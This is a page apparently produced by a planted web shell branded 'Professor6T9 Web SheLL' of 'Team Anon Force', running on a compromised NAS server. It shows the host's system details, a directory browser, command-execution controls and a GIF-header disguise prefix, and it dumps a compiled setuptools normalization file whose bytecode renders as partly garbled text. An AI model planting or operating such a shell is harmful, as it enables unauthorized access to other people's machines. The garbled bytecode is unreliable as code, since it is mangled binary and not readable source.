GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _normalization.cpython-38.pyc
U �}�h� � @ s� d Z ddlZddlmZ e�dej�Ze�dej�Ze�dej�Ze�dej�Z e e d �d d�Ze e d�d d�Ze e d�dd�Z e e d�dd�Ze e d�dd�Ze e d�dd�Ze e d�dd�Ze e d�dd�Ze e d�dd�ZdS ) zZ Helpers for normalization as expected in wheel/sdist/module file names and core metadata � N� )� packagingz)^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$z [^A-Z0-9._-]+z [^A-Z0-9]+z,^v?(?P<safe>(?:[0-9]+!)?[0-9]+(?:\.[0-9]+)*))�name�returnc C s t �dd| �}|�� st�|S )z�Make a string safe to be used as Python identifier. >>> safe_identifier("12abc") '_12abc' >>> safe_identifier("__editable__.myns.pkg-78.9.3_local") '__editable___myns_pkg_78_9_3_local' z \W|^(?=\d)�_)�re�sub�isidentifier�AssertionError)r �safe� r �@/tmp/pip-target-k_nuic9h/lib/python/setuptools/_normalization.py�safe_identifier s r )� componentr c C s t �d| �S )z�Escape a component used as a project name according to Core Metadata. >>> safe_name("hello world") 'hello-world' >>> safe_name("hello?world") 'hello-world' >>> safe_name("hello_world") 'hello_world' �-)�_UNSAFE_NAME_CHARSr )r r r r � safe_name s r )�versionr c C sX | � dd�}zttj�|��W S tjjk rR t�d|�}ttj�|�� Y S X dS )a Convert an arbitrary string into a valid version string. Can still raise an ``InvalidVersion`` exception. To avoid exceptions use ``best_effort_version``. >>> safe_version("1988 12 25") '1988.12.25' >>> safe_version("v0.2.1") '0.2.1' >>> safe_version("v0.2?beta") '0.2b0' >>> safe_version("v0.2 beta") '0.2b0' >>> safe_version("ubuntu lts") Traceback (most recent call last): ... setuptools.extern.packaging.version.InvalidVersion: Invalid version: 'ubuntu.lts' � �.r N)�replace�strr r �Version�InvalidVersionr r )r �v�attemptr r r �safe_version* s r c C s� z t | �W S tjjk r� | �dd�}t�|�}|rR|d }|t|�d� }nd}| }t� d|�� d�}d|� �� d�}t |� d|� �� Y S X dS )a� Convert an arbitrary string into a version-like string. Fallback when ``safe_version`` is not safe enough. >>> best_effort_version("v0.2 beta") '0.2b0' >>> best_effort_version("ubuntu lts") '0.dev0+sanitized.ubuntu.lts' >>> best_effort_version("0.23ubuntu1") '0.23.dev0+sanitized.ubuntu1' >>> best_effort_version("0.23-") '0.23.dev0+sanitized' >>> best_effort_version("0.-_") '0.dev0+sanitized' >>> best_effort_version("42.+?1") '42.dev0+sanitized.1' r r r N�0z sanitized.z.dev0+)r r r r r �_PEP440_FALLBACK�search�len�_NON_ALPHANUMERICr �strip)r r �matchr �restZ safe_rest�localr r r �best_effort_versionC s r&